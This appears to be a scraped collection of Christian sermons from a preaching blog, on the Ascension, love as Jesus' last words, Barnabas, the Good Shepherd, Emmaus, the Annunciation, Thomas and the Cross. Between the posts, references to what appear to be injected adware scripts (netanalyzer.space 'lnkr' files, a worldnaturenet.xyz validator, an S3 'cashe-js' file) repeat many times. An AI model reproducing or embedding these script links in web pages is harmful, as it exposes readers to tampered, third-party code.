//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

“Go into the world and proclaim the gospel to every creature.”

According to the Apostle Mark, immediately before this, Jesus had admonished, again, his disciples for their refusal to believe those who had seen him after the crucifixion. In Acts, Luke has told us that they asked if Jesus was going to restore the kingdom to Israel, and Jesus tells them it’s none of their business to know when these things are going to happen.

Well! What is a person to do? It seems they can’t win with their friend who criticizes them at almost every turn.

Some commentators have suggested that the rest of today’s Gospel was added later to soften the harshness that was apparently spoken by Jesus to the disciples. Certainly, this time, after the Resurrection, must have been extremely trying for these simple disciples. They were to take everything on faith, yet they had not been given the grace to rely on faith. That was to come.

So again, what is a person to do? Aren’t there lots of mixed messages here? Don’t we face mixed messages ourselves every day, much less in our own bibles?

Without going into Bible Exegesis, let me just say that what we have been given is an amalgam of many writers, persuasions, and missions, all to explain what happened when a rabbi in Roman times in Israel lived and taught among his people. Yes, there are contradictions, even some harsh words, but there is one concept that Jesus is reported as having promulgated eleven times: Love one another.

And remember, he was working with regular folks, not the most learned or sophisticated. And sometimes they didn’t understand what he was saying or doing. Therefore, in the second reading, we learn that different people were given different tasks: apostles, prophets, evangelists, pastors, teachers. Similarly, in Acts 4:32-35 we find that distribution of goods “was made unto every man according as he had need.”

So, in today’s readings, we find many different points of view, admonitions, desires, all of which can be encompassed by the two events celebrated today, the Ascension, and next week, Pentecost. Remember, they were not yet possessed of the Holy Spirit as promised by Jesus. And they were losing their teacher, friend, and master. How could they not have been anxious and confused?

We today, must remember the one commandment that Jesus gave us time and again: Love one another.

Listen to the readings and Gospel stories throughout the year. All can be encompassed in that new commandment. And the Apostles reported this time and again. The early followers of Jesus loved one another, took care of each other, and showed the world they were Christians by their acts of charity and sacrifice.

Still, they were, and we are, humans. They were, and we are subject to the vicissitudes of daily existence. Sometimes overwhelmed. Sometimes afraid. Always in need of God’s graces. So, in the first reading, aren’t we given a measure of hope? Before the Holy Spirit’s descent, they were given this hope: “This Jesus who has been taken up from you into heaven will return in the same way as you have seen him going into heaven.”

Throughout the Bible we are given these little moments of hope, of promise. Today, the Feast of the Ascension, we can feel the loss the disciples felt. When I was a child, I always felt bereft on this day, losing Jesus. I could empathize with those disciples and felt their anguish.

Well, you know, we’ve heard over and over: “When one door closes, a window is opened.” That’s what the love Jesus taught us is about too. We are never really alone. All we have to do is remember the new commandment: Love one another. Like the Apostles, if we are fulfilling our mission as Christians, the very act of seeking out those who need our love opens many, many windows for us.

Lord, today give us the peace we seek, and the comfort of your promises, and show us the way to love one another.

Amen.

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=22https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

Sixth Sunday of Easter
05/06/2018
Gospel  Jn 15: 9-17

Back when I was a seminary student and living in West Virginia, an Episcopal Priest friend of mine told me a story.

Fresh out of Seminary himself, Fr. Dale considered himself quite the Liturgical, Theological and Musical snob.  Being in a Baptist dominated community, he would regularly get requests to sing the hymn, “In the Garden.”  This is one that my congregation sings almost every Sunday at the nursing home.
Fr. Dale would go on a rant about how this is a hymn that one ought not to sing.
Why would Christians, whose biblical faith values community far above individualism, who have heard Jesus’ explicit command to deny self and live for others; why would they ever sing, “He walks with me, talks with me, tells me I am his own”? Some years later, a Baptist clergy friend of his helped knock him off his high horse when he heard his rant about that hymn and quoted some familiar words: “The Lord is my shepherd; I shall not want. He makes me lie down in green pastures, he leads me beside still waters,” and so on.

Touché! Of course, we have a personal relationship with God, but still, Fr. Dale thought the word “private” is rarely a helpful word in communities of faith. As an aside, that reasoning is why “In the Garden” still has never appeared in an Episcopal hymnal.

One night Fr. Dale was called to the hospital by the family of an elderly parishioner who was struggling in his last hours. He rushed to the hospital, and he waited for all of his children to arrive; and when all of them were there, they all held hands around his bed and commended him to Jesus and prayed for his peaceful passing. This dear old man looked up and smiled, and then he spoke. He spoke last words. “I love every one of you. I’m ready to go. And I love Fr. Dale, too, and I love his voice and I know he’ll sing “In the Garden” for you at my funeral. Whereupon in that very instant he flat-lined on the monitor and died. Through tears, the oldest son looked at Fr. Egg On His Face and said, “Thank you, Father. Daddy always loved that song!”

And this, my wise friend told me, is how we know God has a sense of humor!

In no construction of reality that you could conjure would he ever have considered, especially not publicly as a solo, singing that song in a worship service over which he presided! But he got trumped. Trumped by love and the power of last words. And at the man’s funeral, his face red with embarrassment and feeling the effects of his humble pie, Fr. Dale sang, “and He walks with me and he talks with me.” The whole thing. With feeling.

Several years back while Ken Burns was doing research for a PBS series on the Civil War, a professor sent him a little-known letter written by a Rhode Island soldier to his wife Sarah. The author, Sullivan Ballew, had a premonition of his own death, and he wrote to his wife:

“The indications are very strong that we shall move in a few days, perhaps tomorrow. Lest I should not be able to write you again, I feel impelled to write a few lines that may fall under your eyes when I shall be no more. Sarah, my love for you is deathless. It seems to bind me with mighty cables that nothing but omnipotence could break. The memories of the blissful moments that I have spent with you come creeping over me. I feel most gratified to God and to you that I have enjoyed them for so long, and hard it is for me to give them up and burn to ashes the hopes of future years when, God willing, we might still have lived and loved together and seen our sons grown up to honorable manhood around us. If I do not return, my dear Sarah, never forget how much I love you, and when my last breath escapes me on the battlefield, it will whisper your name.”

The imminence of death is indeed sacred ground, and in those moments, we cling to last words in hopes of gleaning some meaning, some promise, some legacy. Every transition, every transformation, is a death of sorts, as well as a new birth. For something new to be fully born, something old must die. It’s the way of the world. Even the transitions we welcome are always bittersweet.  Having cared for many children in the past, I think of the series of last words with which we bombarded them…before first getting on the school bus, before driving the car alone, before that first date, before going off to college.

But dying words are in a league of their own!  How about you? If you could say just a few last words as you knew you were dying, to whom would they be addressed and what would they be? I’m guessing that somewhere in those last words would be a heartfelt “I love you,” as well as some sincere request like “take care of your brother,” or “live your life to the fullest.”

Chapters 13-17 of John’s gospel are Jesus’ earthly life last words to his disciples as he prepares them for a major transition. Something new, the ministry of the disciples and the church, is about to be born; and as with all births, something, namely Jesus himself, must die. In that holy ground context, Jesus says, “As the Father has loved me, so I love you, and so you should love one another.” What is it that matters when all else, including life itself, is said and done? What is the most compelling, the most powerful, the most enduring force in all the universe? What, as we prepare both for living and dying, becomes the echoing refrain? LOVE! Not the normal “What do I get out of it?” kind of love we usually mean when we use the word. Jesus was specifically commending to his followers agape love, the unconditional and self-sacrificing love that he himself exemplifies.

How does one measure such love? “Greater love has no one than this, than to lay down one’s life for one’s friends,” for the beloved. Last words matter. They are precious. Of all that Jesus might have said, he chooses love and relationship, even as he chooses us in love and sends us into the world to be love. This love is not a feeling or inclination, but obedience to his commandment to choose to love others as God has chosen to love us.

Sullivan Ballew was killed seven days after he wrote that letter, at the 1st battle of Bull Run.

“When my last breath escapes, it will whisper your name, Sarah.” And the next day after Jesus shared his parting words, he was crucified, his last breath on the cross and first breath in the resurrection whispering your name…your forgiveness.

“As the Father has loved me, so I have loved you.” It is your name he whispers before you’re formed in your mother’s womb, in the waters of baptism, around the altar, in the Word, and in the fellowship of Christ’s people.

It is your name, no matter how far you may wander, that if you pause to listen you will always hear. “Listen to me, Child. I love you. And now your only job is to share that love.” The first, and the last, word is love. Amen.

Let us pray. Gracious Lord God, we give you thanks for every precious gift and blessing that you shower on us so abundantly. But most especially, we thank you for the precious gift, the relationship with you which we could never deserve, but in which you call us and love us anyway, and also the precious relationships with others to which you command us in love. Help us to be your loving children. Help us to be aware of the needs of others and to serve them as your church and your people. In the name of Christ we ask it. Amen

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=27https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

Acts 9:26-31 and John 3:18-24

Christ is Risen, my beloved brothers and sisters, He is truly Risen! Alleluia

Dear brothers and sisters of our Risen Lord Jesus Christ, in this fifth Sunday of Eastertide, the reading from the Apostle remind us of how good and big example is Barnabas in a very difficult situation at the moment of the event. This reminds me of one example of the Gospel, that we are all branches together of a big tree, if Barnabas is the finger of the hand, imagine how this finger have fixed such difficult situation, from the Apostle reading that as zealous Pharisee, Saul became a vehement opponent of Christianity, Saul had a life-changing encounter with the Risen Lord Jesus Christ, The result is that he not only become a Christian but eventually Apostle Paul.

When you were a kid, who was the bully in your school or in your neighborhood? When have some friends helped you out of a bad situation? The disciples of Jerusalem fear and distrust Saul, Barnabas courage to step forward and speak up for Saul in the community.

I ask myself how I would feel if I was part of a church when the convert has a bad reputation and been a lot of gossip about the person, would I feel fear that is some kind of infiltration? Or i would rejoice in his claim to faith and welcome him with open arm and in the meanwhile, I will keep a close eye on him.

Barnabas is a model of a servant of God and his people, his example is so needed today in our churches, oratories, temples, shrines, communities, neighborhoods and families. Barnaba encouraging you, helping you to feel accepted. When last time has been encouraged someone? Whom have you served as a Barnabas, encouraging and helping people feel accepted in your parish or society, this example is useful in any situation. Many people face hardest to be accepted by families, schools, youth groups, parties, social gatherings, the opposite or same-sex other groups etc.

“Whoever believes in him will not be condemned, but whoever does not believe has already been condemned, because he has not believed in the name of the only Son of God. And this is the verdict, that the light came into this world, but people preferred darkness to light because their works were evil. For everyone who does wicked things hates the light and does not come toward the light, o that his works may be clearly seen as done in God. After this, Jesus and his disciples went into the region of Judea, where he spent some time with them baptizing. John was also baptizing in Aenon near Salim, because there was an abundance of water there, and people come to be baptized, for John had not yet been imprisoned.”

Some people live in darkness, and they can’t find the light, there is still lot of me that I want to hide in the darkness but I want to leave the darkness, but the light hurts my eyes, the more I want to follow the light the brighter it becomes, and I am completely open to Gods light and I am grateful for it.

To receive Christ’s promise of new life I need to stop being ridiculous, literal and rational, but to ask God to forgive me, for some things, to renew me, to forgive myself for some things, to open my heart for Jesus, to renew my vows before Him.

Christ is Risen, He is Truly Risen! Rejoice! Alleluia.

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=25https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

Reading 1: Acts 4:8-12.

R Psalm: PS 118: 1, 8-9, 21-23, 26, 28, 29.

Reading 2: 1 JN 3: 1-2.

Gospel: JN 10: 11-18.

Our Lord tells us very clearly that his sheep hear his Voice. He knows them all and they follow him. He also tells us that not one of us can ever be snatched from His hand. The only way we shall leave his hand is if we deliberately turn away and choose to leave it. If we go astray, Our Shepherd will always come looking for us to return us safely to his fold. However, the Lord will never force us to return, he respects our freedom to choose, although he loves us so much.

It is essential as children of God to often ask ourselves if we indeed are truly hearing the voice of Our Lord and are truly following him. In today’s world, it is all too easy to get distracted, or to say we are truly listening to him by making excuses such as, “I attend church”, or ” I don’t  commit the bad sins of others”, but to truly  listen and follow takes far more than this. If we don’t listen to him constantly in our hearts and lives, and only listen to his voice either out of habit or routine, or only listen when we choose to do so, then we are not truly listening to his voice at all.

It is vital that if we are truly listening, that we have him as first in our lives. It is far too easy to get into a pattern of attending church, hearing the scriptures, and praying as a habitual routine, rather than truly taking the time to hear the Lord’s voice speaking to us.

When was the last time you opened and read the bible on your own accord? The Bible is full of love letters from God for us, and if we are truly listening to his voice, it tells us all we need to know. I don’t mean reading the bible out of habit, but to truly take the time to listen and to hear what the Lord, our Shepherd, is telling us.

Today, I wish to issue a challenge in the name of the Lord, that we ask ourselves honestly how hard we actually try to hear the voice of the Good Shepherd. We are called to listen, to follow, and to serve him, not out of habit or ritual, but because he is our true Shepherd, our Lord who loves us and who gives salvation to all who truly listen and follow him.

 

Let us pray:

Good Shepherd of the flock, you tend and feed and protect your chosen people and only ask us to listen and to put our trust in your loving care. As host, you welcome us to your table and anoint us with your Holy Spirit. Let us be ever thankful for your blessings O Shepherd and Saviour, and to always truly hear and follow your voice.

Amen.

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=32https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=31https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

Do you remember when we were kids and our parents would tell us to not do that thing because if we did, we would cause all manner of problems AND get into trouble?  And because we were us, we went right ahead and did that thing and we caused all manner of problems and got into trouble.  And our parents said, “I told you so.”

And, poor Scott.  Sometimes I feel so bad for him.  He has it rough.  You see, he lives with me.  And one of my very, very, very favorite things to say to him is, “I told you so.”  (Scott is much smarter and a heckuva lot wiser than I am, but do you think I’d let HIM know that?  Uh unh.  I ain’t doin’ it.)

And of course, there are those (infrequent, oh so very infrequent!) times Scott gets to say to me, “I told you so.”  (I hate that.)

So why do we not listen?  Why do we not accept what we are told?  Why must we, in our (self-centeredness) have to learn the hard way that what God says, He means?  Or do we ever learn?  As many of you know, Jeremiah 29:11 and Romans 8:28 are two of my very favorite verses of Scripture.  Both of them give us assurance that God has things well in hand and that we really don’t need to worry about things.  And God has proved himself over and over and over and over ad infinitum in my life.  He has cared for me when I had nothing else.  He has shown Himself faithful and true and proved to me that I have no need to worry.  So WHY do I worry?  Why can I not get it through my head that I have no need to worry, I have no need to doubt?  I would dare say that many of you have had similar experiences.

Whatever the answer to that question is, we are in good company.    Over and over and over again, throughout the Hebrew and Christian scriptures both, we continually hear God tell us, “Have I not told you…  I told you….”  In the Gospel reading for today, when Cleopas and another disciple are on their way to Emmaus, Jesus appears to them and teaches them and says to them (are you ready) “I told you so.”  (Well, actually, according the NIV  He said, “ “How foolish you are, and how slow to believe all that the prophets have spoken! Luke 24:25)  They recognized Jesus and he disappeared and then they hightailed it back to Jerusalem, straight to the disciples.  And as they were telling the disciples what had happened, Jesus appeared to them all. They were, of course, amazed, frightened, excited!!!!!  And what did Jesus say?  He said, “I told you so.”  (NIV:  “These are my words that I spoke to you while I was still with you, that everything written about me in the law of Moses and in the prophets and psalms must be fulfilled.”Luke 24:44)  Now, these weren’t your every day, run of the mill, ordinary disciples.  These were THE DISCIPLES;  hand picked by Jesus, his closest companions.  They who had witnessed miracles first hand.  And they had trouble getting with the program and believing.  But ya know, Jesus then gave them yet another chance, kinda started from the beginning again, and did a reteach.  (NIV:  Then he opened their minds to understand the Scriptures.  And he said to them, “Thus it is written that the Christ would suffer and rise from the dead on the third day and that repentance, for the forgiveness of sins, would be preached in his name to all the nations, beginning from Jerusalem.  You are witnesses of these things.” Luke 24:45-48)

How awesome is that?  Even after all the things the disciples had seen, had witnessed, had had first- hand experience with, Jesus taught them yet again.  And so it is with us.  When we truly desire to increase our faith, when we truly seek another chance to learn the lessons that Christ teaches us, He will always, always give us another chance to try again.  It is up to us to continually open ourselves to learning those lessons.  The hymnist, Clara H. Scott certainly had the words right when she wrote in 1895:

Open my eyes, that I may see
Glimpses of truth Thou hast for me;
Place in my hands the wonderful key
That shall unclasp and set me free.

Silently now I wait for Thee,
Ready my God, Thy will to see,
Open my eyes, illumine me,
Spirit divine!

Open my ears, that I may hear
Voices of truth Thou sendest clear;
And while the wave notes fall on my ear,
Everything false will disappear.

Silently now I wait for Thee,
Ready my God, Thy will to see,
Open my ears, illumine me,
Spirit divine!

Open my mind, that I may read
More of Thy love in word and deed;
What shall I fear while yet Thou dost lead?
Only for light from Thee I plead.

Silently now I wait for Thee,
Ready my God, Thy will to see,
Open my mind, illumine me,
Spirit divine!

Open my mouth, and let me bear,
Gladly the warm truth everywhere;
Open my heart and let me prepare
Love with Thy children thus to share.

Silently now I wait for Thee,
Ready my God, Thy will to see,
Open my heart, illumine me,
Spirit divine!

It is my hope and prayer that each of us open ourselves to learn the lessons that God teaches us, and that we do our utmost to learn, and to live those lessons.  Amen.

 

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=42https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

 

What do you want to be when you grow up? It’s a common question. It was probably asked of us in our younger years. We ask it of our children and grandchildren. It is not, however, a question limited to a particular age. It may be common, but it is not necessarily simple. Some of us are still trying to answer that question.

At age 33 I am a Priest, I work in retail, my wife and I are in the process of starting a Café and, Lord willing, Law School is in my future.  “So what do I want to be when I grow up?” I often ask myself with tongue in cheek.  Over the years I have worked in Mental Health, various management positions, as a Paralegal and even as a Hypnotherapist.

Some of my friends wanted to become famous singers (some sadly lacked to ability to sing), dancers or movie stars.  At one level these are silly fantasies. At another level they point to the assumption that we are responsible for creating the life we want.

 

Look at your relationships, friendships, your family and marriage, your jobs and careers, your education, your home. All of those are attempts to create your life. That is not necessarily wrong. We have decisions to make and opportunities before us. The difficulty comes when we start to believe and carry the burden that we are the ultimate creator of our life. Seems that is what happened to King David when he decided that God needed a big fine cedar house like his. David was convinced that he was the one to build a house for God. Until God said, “No.” God reminded David that God is the builder and creator of life. It has been that way from the beginning.

 

For in the beginning, God spoke and POOF there it was. God said let there be light and there was, let there be sky, dry land, earth that brings forth vegetation, fish that fill the waters, a sun and a moon. Let us create humankind in our image and likeness. God said let there be all these things and there was. Creation is the larger context for today’s gospel, the Annunciation to Mary.

 

God speaks the creative word. Today, however, we remember Mary’s words, “Let it be.” “Let it be with me according to your word.” Mary’s words, “Let it be,” echo God’s words, “Let THERE be.” It is like an ongoing call and response between God and humanity. God prays creation into existence and Mary says, “Amen. Let it be.” This is not an ending to the creation story but the continuation of creation and the beginning of our salvation. Think about this. God says, “Let there be” and his words bring forth creatures into the world. Mary says, “Let it be” and her words will bring forth the Creator into the world. How amazing is that?

 

Jesus is able to take flesh because Mary’s humanity gives him that possibility. This could only happen with Mary’s “Let it be.” Her gift to God is her humanity and through her, our humanity. The incarnation of God in Jesus is not, however, limited to Mary. It is an affirmation of God’s creation and the goodness of humanity. God chooses human flesh, not a cedar house, as the place of God’s dwelling. Each one of us can stand as the “favored one,” the one with whom God is. Each of us is called to grow up to be God-bearers, to carry the life of God within our own humanity.

 

Mary is a part of us. She is that part of us that is womb-like, the part that gives birth to Christ in our world. To reject Mary is to say no to God. To reject Mary is to reject the holy of holies within us. To reject Mary is to end the ongoing story of creation and salvation. To love and venerate Mary, however, is to discover the life God is creating in us and who are to be when we grow up. Mary teaches us how to say, “Yes.”

 

Each one of us is to echo Mary’s words, “Let it be.” Don’t hear this as passivity. This is not a “que sera, sera” attitude. It means we must be vulnerable, open, receptive. It means that we must let down the veils that we think separate us. Mary sees her virginity as a veil of separation. “How can this be since I am a virgin?” Not only that, but Mary is weaving a new veil for the temple.

 

Sacred tradition says that Mary was one of the virgins chosen to weave a new veil for the temple. The veil was the curtain that separated humanity from the holy of holies, the place that God lived. Neither the temple veil nor Mary’s virginity, however, can separate God from humanity. As the Archangel Gabriel declares, “Nothing will be impossible with God.”

 

We all live with veils that we think separate us from God. There are veils of fear, shame, and guilt. Independence and individualism become veils of isolation. Sometimes we are veiled in logic, rationalism, and unable or unwilling to abandon ourselves to the mystery. Often our veils are the life we have created for ourselves.

 

God looks through our veils to see the “favored one” even when we cannot see ourselves that way. God’s words of possibility speak across our veils announcing that God is with us and that we will conceive within us God’s own life. God is always stepping through our veils to choose us as God’s dwelling place.

 

“How can this be?” With those words Mary acknowledges that the life Gabriel announces is not the life she was creating for herself. “Let it be.” With those words, Mary receives the life God is creating in her. Between “How can this be?” and “Let it be” the impossible becomes a reality, the never-before heard of… will forever be spoken of, and the veil between divinity and humanity has fallen.

 

Offer whatever excuses, reasons, and veils you have why this cannot be true for you. The Angel Gabriel will tell you differently. “Nothing will be impossible with God.”
Amen.

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=20https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

This Sunday, in my mind, is the culmination of all the questions, doubts, hope, and rejoicing that is present in our time as Christians. And as non-Christians, since the readings are available, and speak to all.

A group of people so united, so moved, and so committed that they freely give up their possessions to take care of those less fortunate than they are. A utopian society whose purpose is spreading the Good News about Jesus the Messiah to all who will listen.

And then we have Thomas, the Doubter. But I’ve always wondered how many of the disciples present at Jesus’ first appearance were true believers. What would have been the tally if a vote had been taken? Is Jesus the Son of God, the Messiah? My guess is that only a few would have said “Yes” definitively.

And yet Jesus says, “Blessed are those who have not seen and have believed.” Does this mean that Thomas is not blessed? Is Thomas “less than” because he needed physical proof? And what of the other disciples? What was their ranking in the order of believers?

Or is there such a thing? Is Jesus really calling out some as “blessed” and others not because of their blind faith?

Perhaps today’s readings give us the answer we seek. In fact, isn’t that what the Second Reading of John does for us?

“Who indeed is the victor over the world
but the one who believes that Jesus is the Son of God?”

Here there is no standard by which belief can be evaluated. One either believes or one doesn’t. And if one believes, she is the victor over the world.

Simple.

Simple?

For two-thousand years people have struggled over this concept. Some have surrendered all their possessions as a token of their belief. Some have forsworn marital companionship. Some have given their lives. And many have simply believed, in their hearts, in their souls.

“My task is easy and my burden is light.” But nowhere have I seen it written that finding that belief, that task and burden, would be easy. Except maybe in the Responsorial Psalm for today:

“I was hard pressed and was falling,
but the LORD helped me.”

…and

“This is the day the LORD has made;
let us be glad and rejoice in it.”

I remember, years ago when I was struggling with my own faith, I was talking to my mother about this topic. She told me that when she was young, probably about the age I was at the time, that she made a decision. The concept of faith was a topic of conversation in her family because her older sister, my Aunt Mary, could never reconcile her belief. She was always struggling, my mother said. And while she watched Aunt Mary struggle, she perceived a deep sadness and unease. Yes, on one level it was an exciting intellectual exercise they all used to have, but for my mother, it was troubling. “I just decided that I was going to believe,” she told me. “I saw my sister going through such agonies that I decided I wanted no part of that. I was going to believe and that was that.”

That was that.

She retained that faith all through her life. That was the one spiritual thing she prayed for, for her four children: that we would have faith. She didn’t care if we were Catholics, Protestants, Unitarians, Hindus, whatever…she just wanted us to have faith. For her, it was easy. And a blessing, and a joy.

I have not known another person so comfortable in her spiritual life. No one comes close to her peace in my experience.

This is not to say that she was supremely content, just that when it came to believing that she was saved and that Jesus was the Messiah there was no argument. In fact, she used to have bookmarks made up to pass out to all whom she met that said, “Lord, help me to remember that nothing is going to happen to me today that you and I, together, can’t handle.”

This little prayer incapsulates all that she needed. And all that everyone needs. We only have to remember that God is on our side. Remember. This means acceptance at some point. And such was her faith that she knew that eventually everyone, including her children, would come to believe.

The message of the last sentence of today’s Gospel:

“But these are written that you may come to believe
that Jesus is the Christ, the Son of God,
and that through this belief you may have life in his name.”

I’m with you, Thomas: before and after your enlightenment.

Lord, help us all to remember that nothing is going to happen to us today that you and we, all together, can’t handle.

Amen.

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=21https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

Scott and I both wear a crucifix around our necks to proclaim our faith, as do many of our Catholic brothers and sisters.  Many of our Protestant brothers and sisters wear a cross.  Churches throughout the world are marked by a cross.  When we pray, we “cross” ourselves.  The cross is the universal symbol of Christianity.  What’s up with that?

Crucifixion was, at one time, one of the most common methods of capital punishment used.  Lots and lots and lots of unfortunate men and women were crucified. We believe that Jesus was totally innocent of the crimes for which he was executed.  Of course, there are many men and women who have been executed for crimes which they did not commit.   Some view Jesus’ crucifixion as an honorable sacrifice made by gifted teacher. Others would point to the cross as a failure of Jesus to demonstrate His power. Like the thief who mocked Jesus saying, “If you are the Messiah then get us down from here,” critics view the cross as an insignificant death. They see Jesus as one of many who rebelled against the Roman Empire and suffered the consequences.

So what makes Jesus crucifixion so different?  Why does a world religion focus so much on the cross?  Is it that important?  Volumes and volumes of books have been written on that subject.  Wars have been fought over the cross.  The hymnist wrote: “In the cross of Christ I glory,” and we, as Christians, are called to proclaim the cross, right???

Ummm….not so much.

Proclaiming the cross means nothing……(Yes, I can hear you gasp and I can see your blood pressure rising.  Let me finish the sentence.)…..without proclaiming the resurrection.

Many contemporary Christians assume the cross has always been the focal point of Christian faith. They view the cross as the touchdown and the resurrection as the extra point. Certainly, the cross is vital to our faith, for it was the means through which Jesus atoned for our sins. But listen to Paul’s words: “If Christ has not been raised, our preaching is useless and so is your faith . . . if Christ has not been raised then you are still in you sins” (1 Cor. 15:14, 17).  If Christ had not been raised, then he would have been no better than Dismas (the “good” thief) or anyone else who has ever been executed.

On Easter we turn our attention to the resurrection. While every Sunday worship service is a testimony that Jesus rose from the dead, Easter provides a wonderful opportunity to consider the significance of the resurrection to our faith. An interesting aspect of early Christian history is that the resurrection, not the cross, was the central theme of Christian preaching.

The early believers saw themselves as “witnesses to the resurrection” (Acts 1:15-16). Peter and John created an uproar because they were preaching about Jesus and the resurrection (Acts 4:1-2). The Bible says with great power the apostles testified to the resurrection (Acts 4:33). Several years after the crucifixion while preaching in Athens, Paul preached the “good news about Jesus and the resurrection” (Acts 17:18).

The resurrection proclaims the deity of Christ. His death on the cross may have accomplished our redemption as He paid for the sins of the world, but it did not prove to the world that Christ was God in the flesh.  Saint Paul declared that the resurrection proved that Jesus was the Son of God (Rom. 1:4). In this text of First Corinthians 15, we read that Christ conquers all enemies and destroys all dominion, and hands the kingdom over to God the Father (vv. 24-27). Everything is under the authority of Christ because of the resurrection.

But the tomb is empty, and Jesus is alive. He is the Holy Son of God who is worthy to receive glory, honor, and praise!  Jesus died for your sins and rose again to prove His sacrifice was not in vain. He is alive to declare to you and to the world that you are a unique creation of God with significant role to play in His kingdom. You are one of those precious souls who are too many to name, but considered to be the fruit or blessing of the resurrection.  The resurrection is an invitation to receive what Christ has prepared for you. His offer of eternal life is a gift that must be received. What have you done with your invitation? Jesus is alive and calling for you to receive Him today. Will you be made alive to spend eternity with the risen Savior?

Will you proclaim the cross?  Sure.  But let us even more loudly proclaim the resurrection.  Let all that we do, all that we say, proclaim that JESUS IS ALIVE!!!

Amen

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=33https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=21https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_

“The Old Rugged Cross” is the title of a well-known song written by George Bennard more than a century ago (1912). Afterwards, various famous artistes, including Jim Reeves and Elvis Presley re-echoed it. The lyrics are a resource for reflection on an important event such as ‘Good Friday.’ In the midst of economic hardship, physical suffering, spiritual persecution, excruciating pain, deep sorrows and ever-mounting troubles, the cross becomes a symbol of hope. Bennard translated his profound reflection about life and the glory of the cross into music. He sings:
“On a hill far away stood an old rugged cross,
the emblem of suffering and shame;
and I love that old cross where the dearest and best
for a world of lost sinners was slain.
So I’ll cherish the old rugged cross,
till my trophies at last I lay down;
I will cling to the old rugged cross,
and exchange it some day for a crown.

O that old rugged cross, so despised by the world,
has a wondrous attraction for me;
for the dear Lamb of God left his glory above
to bear it to dark Calvary.”

The Cross is the principal symbol of Christianity and this is so because it reminds the world of the sacrificial love of Christ which he expressed to humankind through his passion and death. “As for us, we proclaim the crucified Christ,” says St. Paul (1 Corinthians 1:23). In addition, the Apostle says, “the message about Christ’s death on the cross is nonsense to those who are being lost; but for those who are being saved it is God’s power” (1 Corinthians 1:18). Paul addressed this message to the Jews who see the cross as a burden for criminals and suffering as punishment for sinners (Deuteronomy 21:20-23). Therefore, they think it is out of place to believe in someone who is crucified. On the other hand, the Greeks who were renowned thinkers and philosophers of the time saw the cross as a sign of foolishness. In all their knowledge they could not understand how God uses ‘foolish things’ to express his greatness.

St Theodore the Studite, one of the early Monks of the eastern church (Constantinople, presently Istanbul), sees a trace of the cross in the following Biblical events of the Old Testament: First, on the pile of wood on which Abraham placed his Son Isaac; second, on the wood of the ark in which Noah, his family and all animal species were saved. Furthermore, he sees the foreshadowing of the cross in the wooden staff of Moses, which changed water into blood, devoured the false snakes of the magician and divided the red sea for the salvation of the Israelites. Again, he sees an allusion of the cross in the staff of Aaron that blossomed on a single day and showed him to be the true priest.

